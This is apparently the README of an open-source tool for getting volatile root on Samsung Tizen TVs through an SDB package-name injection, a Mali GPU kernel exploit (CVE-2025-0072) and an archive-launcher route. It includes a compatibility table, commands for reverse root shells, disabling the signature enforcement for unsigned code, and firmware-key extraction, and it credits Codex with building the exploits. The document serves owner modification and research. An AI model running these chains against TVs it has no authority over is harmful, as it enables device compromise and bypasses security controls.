I built working root exploits for the two Samsung TVs I own: a QN90B purchased in 2022 and a QN90F purchased in July 2026. I use them to make the TVs less annoying: remap the remote to whichever Arch Linux computer is connected, control my window manager and MPV, control active YouTube, Plex, and X.com playback through CDP, and collect diagnostics from the TV.
My TVs are blocked from the internet after Developer Mode is enabled. A host-side controller reacquires root whenever either TV powers on.
The QN90B took about a day with Codex in March 2026. The QN90F took about three hours with a newer version of Codex in July 2026, right out of the box. This public repository is a clean subset of my setup; it does not contain Samsung firmware, Samsung binaries, or extracted AES keys. It works for me every day. Ask if you run into problems. Enjoy.
Source and host tooling for obtaining volatile root on two tested Samsung Tizen TVs, keeping root available while the TV is on, observing or remapping physical remote input, controlling selected native TV functions, and recovering Samsung SWU firmware keys.
The source tree does not track Samsung firmware, Samsung's sdb binary,
extracted keys, device tokens, serial numbers, private network configuration, or
precompiled exploit payloads. Release archives contain payloads built from this
source.
This README describes v0.0.12 and the current source tree. The archive-root
command requires v0.0.9 or newer, or a source checkout; it is absent from v0.0.8
and earlier standalone releases. For commands in an older download, use its
bundled documentation or the v0.0.8 README.
v0.0.10 added detection for Samsung's nonstandard .NET apphost. v0.0.11 also
accepts a different active CLR directory and permits an explicit runtime choice
when discovery is unavailable. Neither change establishes root on a new TV.
v0.0.12 retries the SDB timing check when its first control call was unusually
slow, and restores the host library path for OpenSSL launched by the frozen
Linux executable. These are host-tool fixes, not new TV exploit routes.
Root results are for exact models and firmware, not every size or regional
variant in a series. "Owner-tested" means I ran the chain on my TV. "Reported"
means another owner reports UID 0 or an authenticated root agent; linked reports
vary in how much evidence they provide. "Candidate" means an offline firmware
match, not a successful TV test or a promise that the current release works.
All routes below start with the SVE-2025-50109 SDB package-name foothold unless
the row says otherwise. Root access and volatile UEP disable are separate results.
| Status | Exact TV or firmware family | Firmware | Root route and result | Evidence / limitation |
|---|---|---|---|---|
| Owner-tested | QN55QN90BAFXZA (QN90B) |
T-PTMAKUC-1602.3 |
FDET physical-memory route; archive-launcher route also tested | QN90B reproduction |
| Owner-tested | QN75QN90FAFXZA (QN90F) |
T-RSMFAKUC-0090-1203.0 |
Mali-G510 CVE-2025-0072 route; archive-launcher route also tested |
QN90F reproduction |
| Reported, public release | QA55QN90FAUXEG (QN90F) |
T-RSMFUABC-0090-1301.0 |
Mali route; authenticated root, full capability mask and volatile UEP disable | Independent v0.0.3 validation; the TV UI misspelled the family RSMFUBAC |
| Reported, adapted | QN55Q60BAFXZC (Q60B) |
T-NKLBAKUC-1720.7 |
Archive-launcher route; later boot-time self-root in a fork | Owner's UID 0 proof and runtime-detection fix; not stock release behavior |
| Reported, adapted | UE50AU9072UXXH (AU9072) |
T-NKLADEUC-2301.1 |
Archive-launcher route; authenticated UID 0 | Owner's report; requires a .NET 3.1 runtime-path fallback |
| Reported, adapted | QE77S90CATXXN (S90C) |
T-PTMCDEUC-2000.2 |
Archive-launcher bootstrap through a separate direct-SDB wrapper | Owner's report and downstream source; not an unmodified controller test |
| Reported, adapted | TQ43Q7F3AUXXC (Q7F3A) |
T-RSLFDEUC-0090, build 202608061939 |
Archive-launcher route; authenticated UID 0 | Owner's v0.0.9 report; requires runtime-detection fallback |
| Reported, adapted | UE43DU7100KXXU (DU7100) |
T-KSU2EDDEUC-0090-REL-202603190204, 2130.0 |
Archive-launcher route; authenticated UID 0 | Owner's report; host-side runtime fallback on an older checkout, not an unmodified release test |
| Reported, downstream | QN43LS03DAFXZA (Frame 2024) |
T-PTMDAKUC-0090-2130.0 |
Archive-launcher probe returned UID 0 | Owner's report; vendored v0.0.11 code in quiet-tizen, with a first-call timing false negative |
| Reported, downstream | QA55QEF1AULXL (QEF1A) |
T-RSLFUABC-0090-REL-202608061940 |
SDB plus archive-launcher route; authenticated UID 0 | Owner's evidence and write-up; adapted host wrapper, not an unmodified release test |
| Reported, public release | UA43AU7000KXXD (AU7000) |
T-KSU2EUABC-REL-202607211852 |
Unmodified v0.0.11 archive-launcher route; authenticated UID 0 twice | Owner's report; frozen Linux host needed an OpenSSL library-path workaround |
| Reported, downstream | QN85QN90AAFXZA (QN90A) |
T-NKM2AKUC-2301.1 |
SDB plus archive-launcher-based root, later TV-local reacquisition | Couchroot device record and owner's Reddit report |
| Reported, downstream | QN55S90DAFXZA (S90D) |
T-PTMDAKUC-0090-2130.0 |
SDB plus capability/mount-namespace/archive-launcher route | Owner's route description and Couchroot device record |
| Reported, downstream | QE50Q80AATXZT (Q80A) |
T-NKM2DEUC-2301.1 |
Vetro's archive-launcher-derived integration; authenticated root agent | Vetro compatibility record; not this CLI/release |
| Reported, downstream | QE43Q67BAUXXH (Q67B) |
T-NKLBDEUC-1720.7 |
Vetro integration reported UID 0 | Community diagnostic in Vetro; cold-boot persistence and device controls unverified |
| Candidate, untested | Other QN90B variants using T-PTMAKUC-1602.3 |
1602.3 |
FDET route has an identical vulnerable handler in the decrypted update | Same firmware code is strong evidence, but no other size/region was root-tested here |
| Candidate, untested | Other QN90F variants using the inspected T-RSMF* firmware |
1131.0, 1296.8, 1301.0 |
SDB and archive-launcher prerequisites are present in inspected images | Mali kernel exploitability and the live runtime/preflight remain unverified; 1301.0 is proven only on the model above |
| Candidate, untested | QN80F / Frame 2025 on T-PTMFAKUC-0090 |
1131.0, 1301.0 |
SDB plus archive-launcher route is a static candidate | Files and SDB pattern found offline; no live root result or proven Mali route |
| Candidate, untested | S90F family on T-RSMFAKUC-0090 |
1301.0 |
SDB plus archive-launcher route is a static candidate | Do not infer the QN90F Mali chain merely from an r48p0 userspace library |
| Candidate, untested | QN80H / Frame 2026 on T-PTMHAKUC-0100 |
1204.6 |
SDB plus archive-launcher route is a static candidate | Tizen 10 image inspected offline; no retail root test |
v0.0.10 includes runtime detection for Samsung's nonstandard dotnet apphost,
which the Q60B, AU9072, and Q7F3A owners had worked around locally. Those owners
have not yet confirmed an unmodified v0.0.10 or v0.0.11 release on their TVs.
On one UN50M75HAGXZD running Tizen 10, the owner reports
that SDB connects but rejects this package-name injection before archive-root
preflight can run. This is an exact-build foothold failure, not evidence that all
Tizen 10 TVs reject the route.
The QN90D fork's experimental branch
describes an archive-root-assisted installation on QN50QN90DAFXZA, firmware
T-PTMDAKUC-0090-2130.0, but does not publish a separate UID-0 root proof;
it is not counted as a confirmed root result above. A Q90T owner
reported root through a different USB-root adaptation, while this project's
archive route failed on that TV. Neither is a compatibility claim for this CLI.
Most forks have no commits beyond this repository; a fork or successful app
installation alone is not root evidence. Report new results with exact model,
firmware/build, route, release or local changes, and an authenticated UID-0
readback. The preflight's tested, compatible-untested, and incompatible
labels reflect its own platform checks, not all community reports in this table.
- The public
SVE-2025-50109SDB package-name injection for the initialuid=901(sdk)command foothold. - A QN90B
/dev/sdp_pqe_fdetphysical-memory exploit. - A QN90F Mali-G510 r48p0 exploit based on
CVE-2025-0072. - A model-independent SDK archive-launcher root route in the source tree, live-tested on my QN90B and QN90F.
- Interactive root shells and authenticated root command execution.
- UEP status and volatile disable controls for unsigned native execution.
- An event-driven host controller that reacquires root after TV boot or root agent loss.
- Opt-in remote observation, suppression, remapping, and structured events.
- HDMI source, local-dimming, PC/Game/Input Signal Plus, and Picture Off controls where listed as implemented below.
- Speaker-volume control and opt-in native TV event streams.
- QN90F retained-frame screenshots and bounded compositor overlays.
- SWU firmware-key extraction for both tested models.
Root and UEP changes remain volatile. The controller makes root appear semi-persistent by reacquiring it from another computer after a TV reboot. It does not install a TV-side boot service.
implemented means the public adapter and payload source are present. Use the
documentation shipped with a release to check that release's capabilities.
proven_not_packaged means the operation was validated on the stated TV but
the public adapter is not included. not_investigated means this project has
not established an answer for that model. unsupported is reserved for a
verified platform limitation; no row below currently makes that claim.
| Capability | QN90B | QN90F |
|---|---|---|
| Root, command execution, UEP control | implemented |
implemented |
| Source list, current source, HDMI selection | implemented |
implemented |
| HDMI presentation recovery | not_investigated |
implemented |
| Local-dimming status, set, toggle | implemented |
implemented |
| PC mode, Game Mode, Input Signal Plus status/enforcement | not_investigated |
implemented |
| Picture Off, display status, display wake | implemented |
implemented |
| Remote input observation, filtering, TV-native actions | implemented |
implemented |
| Speaker volume get/set and native change events | implemented |
implemented |
| Foreground app, source, lifecycle, HDMI receiver events | implemented |
implemented |
| Processed 960x540 HDMI capture | not_investigated |
implemented |
| Transparent text and graphics overlays | not_investigated |
implemented |
The running controller exposes the machine-readable inventory:
samsung-tv-root capabilities my-tv
samsung-tv-root -o json capabilities my-tvPython 3.12 or newer can run the host CLI directly; a standalone release is not required. From a clone of this repository:
git clone https://github.com/chris-ritsen/samsung-tv-root.git
cd samsung-tv-root
python -m venv .venv
.venv/bin/python -m pip install -e .
.venv/bin/python -m samsung_tv_root doctor
.venv/bin/python -m samsung_tv_root preflight qn90f 192.0.2.50On Windows, use py -3.12 to create the environment and replace
.venv/bin/python with .venv\Scripts\python.exe. Pass --sdb before the
subcommand when Tizen Studio is not in its default location:
.venv\Scripts\python.exe -m samsung_tv_root --sdb C:\tizen-studio\tools\sdb.exe preflight qn90f 192.0.2.50Preflight needs only Python and Samsung's sdb. Root operations also need the
TV payloads. With GNU Make and the .NET 6 SDK installed, build the model-specific
payloads once:
make common-payload qn90b-payload qn90f-payload
.venv/bin/python -m samsung_tv_root doctorThen use .venv/bin/python -m samsung_tv_root qn90f root .... On Windows,
replace .venv/bin/python with .venv\Scripts\python.exe; the payload build
also requires GNU Make and the .NET SDK. A standalone release avoids these build
requirements.
The archive route additionally needs the host's openssl command
on PATH. For TVs with .NET 3.1, build make common31-payload using SDK
6.0.428, as selected by payloads/common31/global.json. The build restores the
.NET 3.1 reference packages from NuGet; installing a .NET 3.1 SDK is not required.
uv sync --locked followed by uv run samsung-tv-root ... is the equivalent
developer workflow.
Download from Releases and extract the archive matching the host:
- Linux x86-64 or ARM64:
.tar.gz - macOS Intel or Apple Silicon:
.tar.gz - Windows x86-64 or ARM64:
.zip
Each archive contains a standalone host executable, TV payloads built from this
source, documentation, and the corresponding source tree. Samsung's sdb is
not redistributed; install Tizen Studio
separately.
Run the installation check:
./samsung-tv-root doctorUse samsung-tv-root.exe on Windows. Put an unusual Tizen Studio location
before the command, for example
./samsung-tv-root --sdb /path/to/tizen-studio/tools/sdb doctor.
If a command is rejected as an invalid choice, check --version and --help
against the documentation for that release. In particular, v0.0.8 does not
contain archive-root; download v0.0.9 or newer, or use a source checkout.
Create the configuration once, then replace the example name and address with the TV's values:
./samsung-tv-root config init
./samsung-tv-root config checkEach table under televisions is a named profile. Direct preflight, root,
uep, and serve commands infer the profile when the configuration contains
exactly one TV for that model. If it contains multiple TVs of the same model,
select one with --profile NAME. Supplying a host explicitly remains supported.
For a nonstandard Tizen Studio installation, add a top-level
sdb = "C:/path/to/tizen-studio/tools/sdb.exe"; explicit --sdb still wins.
Use the remote's number-entry controls; a Samsung BN59-01199F full-button IR
remote was used on the tested TVs. On the TV,
open Smart Hub, open Apps, focus App Settings, and enter 12345 with the
remote's number keys. Enable Developer Mode, enter the controller computer's
IPv4 address, and reboot the TV.
Verify that sdb sees only the intended TV:
export TV_IP=192.0.2.50
export SDB=/absolute/path/to/tizen-studio/tools/sdb
"$SDB" connect "$TV_IP:26101"
"$SDB" devicesOn the tested retail firmware, a plain interactive sdb shell prints closed
and exits. That is expected and does not show whether the exploit works. The
exploit instead invokes the allowed package installer with a crafted package
name; preflight verifies that separate path with a bounded execution-timing
probe before testing the callback.
In Windows Command Prompt, set the full sdb.exe path before testing:
set TV_IP=192.0.2.50
set SDB=C:\tizen-studio\tools\sdb.exe
"%SDB%" connect "%TV_IP%:26101"
"%SDB%" devices
samsung-tv-root.exe preflight qn90f "%TV_IP%"With one configured QN90F profile, run the fingerprint preflight and open a root shell without repeating its address:
./samsung-tv-root preflight qn90f
./samsung-tv-root qn90f rootThe equivalent explicit-host form is:
./samsung-tv-root preflight qn90f "$TV_IP"
./samsung-tv-root qn90f root "$TV_IP"Without --command, the QN90F command opens one persistent Bash process on a
real PTY. Shell state such as cd and exported variables persists; terminal
control, clear, Ctrl-C, full-screen programs, and window resizing are relayed.
Type exit or press Ctrl-D to close it. The temporary TV listener accepts only
the selected controller address, defaults to TCP port 22222, and is removed
when the session ends. Use --shell-port PORT if that port is unavailable.
Run a local Bash script as root without Samsung's script-filename signature check:
./samsung-tv-root qn90f root "$TV_IP" --script ./httptoolkit.shThe authenticated root agent uploads the script to a private per-session
directory under /run, invokes Bash with the script sourced through -c, and
removes the directory when the agent exits. It does not replace /bin/bash or
install the script. Repeat --script-argument VALUE to pass arguments. UEP must
first be disabled for the current boot only when the script itself launches
unsigned native executables.
The QN90F preflight first compares a no-op with a bounded two-second delay to prove that the SDB package-name injection executed. It then stages a read-only fingerprint script through SDB, reports the exact callback address and port, and runs that script through the already-authorized shell. The command does not change firewall rules, configure logging, or run the root exploit. Override route detection when needed:
./samsung-tv-root preflight qn90f "$TV_IP" --callback-host 192.0.2.10If the timing probe succeeds but the callback times out, the package-installer exploit ran and the remaining failure is in staging, script execution, or the reverse callback path. A failed timing probe means shell execution itself was not confirmed.
To make one explicit attempt without the compatibility preflight:
./samsung-tv-root qn90f root "$TV_IP" --skip-preflightThis skips only the fingerprint gate. Root acquisition still requires the TV to connect back to the listening host.
Use qn90b for the older TV. Run one command with:
./samsung-tv-root qn90f root "$TV_IP" --command 'id; uname -a'With a configured profile, inspect or disable UEP for the current boot:
./samsung-tv-root qn90f uep status
./samsung-tv-root qn90f uep disableThe explicit-host forms are:
./samsung-tv-root qn90f uep "$TV_IP" status
./samsung-tv-root qn90f uep "$TV_IP" disabledisable is idempotent. A successful result reports a validated kernel
neighborhood and either uep_status_action=disabled with
uep_status_after=0, or uep_status_action=already-disabled with
uep_status_before=0. Run it before opening the root shell when that shell will
launch uploaded native ELF programs. If a root shell is already open, exit it,
run uep disable, and reopen it; do not start a second exploit session in
parallel just to change UEP.
A normal sdb shell remains closed on the tested retail firmware. sdb push
works for the controller staging directory:
"$SDB" -s "$TV_IP:26101" push ./local-file /home/owner/share/tmp/sdk_tools/local-fileThe Windows Command Prompt form is:
"%SDB%" -s "%TV_IP%:26101" push local-file /home/owner/share/tmp/sdk_tools/local-fileTV paths passed to sdb are POSIX paths even on a Windows host, so prefer
/home/owner/share/tmp/... there as well. Current retail firmware can reject
sdb pull with You cannot pull files from this path even when the Unix mode
allows the SDK user to read the file. Pull through the authenticated root
session instead:
./samsung-tv-root qn90f root "$TV_IP" \
--pull /home/owner/share/tmp/remote-file ./remote-filesamsung-tv-root.exe qn90f root "%TV_IP%" --callback-host 192.0.2.10 ^
--pull /home/owner/share/tmp/remote-file remote-fileThe controller reads the source without modifying it, stages bounded chunks
only under volatile /run/samsung-tv-root, verifies the complete SHA-256, and
atomically replaces the local destination after successful verification.
UEP compatibility differs from root compatibility. The model reproduction document describes the tested boundaries and both supported application execution paths.
This route requires v0.0.9 or newer, or a source checkout with built payloads.
Ensure openssl is on the host's PATH. Standalone archives already include
both the .NET 6 and .NET 3.1 archive payloads; source builds are described
above.
This separate root method uses the SDB package-name foothold, a
capability-bearing Samsung dotnet, a private mount namespace, and Samsung's
signed-archive launcher. motodrizzle
reported the capability/namespace/launcher route on an S90D; this implementation
adapts that route. It has no model whitelist: it checks the SDB foothold,
capabilities, tar support, and .NET runtime on the target and chooses its payload
accordingly. It was live-tested on my QN90B and QN90F with an
authenticated UID/GID 0 agent, root command execution, unchanged system-file
hashes, and per-run staging cleanup. The S90D firmware has matching platform
components, and its owner reported the same underlying route, but this exact
implementation has not been run on an S90D. The agent still has Samsung's
User SMACK label; UID 0 is not proof that every security boundary is gone.
./samsung-tv-root archive-root probe "$TV_IP"
./samsung-tv-root archive-root root "$TV_IP" --command 'id'The generic archive commands do not require a qn90b or qn90f profile. If
the TV has the required capabilities but its .NET runtime cannot be discovered,
an owner can select the installed runtime with --runtime 3.1 or
--runtime 6.0 on either command. 6.0 selects the .NET 6 payload for a
compatible runtime version 6 or later. This only bypasses runtime discovery;
the SDB foothold, file capabilities, tar support, authenticated UID-0 callback,
and cleanup checks still apply. A wrong choice can fail the attempt, so use it
only after inspecting the target's runtime. The result records whether the
runtime was detected or explicitly selected.
On Windows, use samsung-tv-root.exe. From source, replace ./samsung-tv-root
with .venv/bin/python -m samsung_tv_root (Windows:
.venv\Scripts\python.exe -m samsung_tv_root).
probe performs the full root acquisition, authenticated identity check, and
cleanup. It is not a read-only compatibility check. Both commands require a
working SDB connection; an open TCP port or a reachable TV network API alone
does not establish that SDB is available.
Use -o json before archive-root for machine-readable identity and cleanup
evidence. The older archive-root probe MODEL HOST spelling still works, but
the model label no longer selects or limits the route. --command can be
repeated. This option does not yet provide an interactive PTY, disable UEP, or
run through the host controller. The existing root commands remain the
defaults. It never replaces /etc/passwd, the verification key, or the
installed Bash on disk: the helper binds per-run views inside its own mount
namespace. Its archive and payloads are staged under
/home/owner/share/tmp/sdk_tools and normally removed after the session; an
interrupted run may leave those files on persistent user storage. The ephemeral
signing private key stays on the controller computer.
Create the default no-remap configuration if one was not already created for the direct commands:
./samsung-tv-root config initEdit the TV name, model, and address in the file printed by config init, then
validate it and start the controller:
./samsung-tv-root config check
./samsung-tv-root daemon runThe daemon follows TV lifecycle events, acquires root, and starts explicitly
configured remote and native-event sessions.
my-tv in the examples below is that user-chosen configuration name.
On Linux with a systemd user manager, install the host service explicitly:
./samsung-tv-root service install --enable --now
./samsung-tv-root service statusAutomatic service installation for macOS and Windows is not implemented. Run
daemon run under the service manager of your choice on those hosts.
Once the controller is running:
./samsung-tv-root status
./samsung-tv-root root acquire my-tv
./samsung-tv-root execute my-tv 'id; uname -a'
./samsung-tv-root source list my-tv
./samsung-tv-root source select my-tv HDMI2
./samsung-tv-root local-dimming toggle my-tv
./samsung-tv-root volume status my-tvBoth models implement display status, Picture Off, and wake. QN90F also implements HDMI policy, retained-frame screenshots, and bounded overlays:
./samsung-tv-root hdmi-policy enforce my-tv --source HDMI2
./samsung-tv-root display picture-off my-tv
./samsung-tv-root display wake my-tv
./samsung-tv-root screenshot my-tv frame.png
./samsung-tv-root overlay message my-tv 'Hello' --seconds 5Native TV events are disabled by default. Enable the profile's events table,
restart the host controller, then use events status or events watch. The
event agent has no restart policy or TV-side boot unit and exits when its
authenticated host connection closes.
See the controller and remote input guides for configuration and extension details.
Firmware-key extraction is included for both tested models. Its advanced, source-oriented procedure is in the SWU AES extraction research note.
Source development requires Python 3.12, uv, a .NET 6 SDK, and Clang/LLD with
ARMv7 support. Install SDK 6.0.428 for the legacy archive payload build and
OpenSSL for archive-root commands:
uv sync --all-groups
make payloads swu-preloads
make lint test audit
make releaseGitHub Actions tests Linux, macOS, and Windows, builds the TV payloads, packages
the supported host architectures, and publishes archives for v* tags.
Start with the quick start. The documentation index separates practical end-user guides from implementation and reverse-engineering research notes.
This project is released under the Unlicense.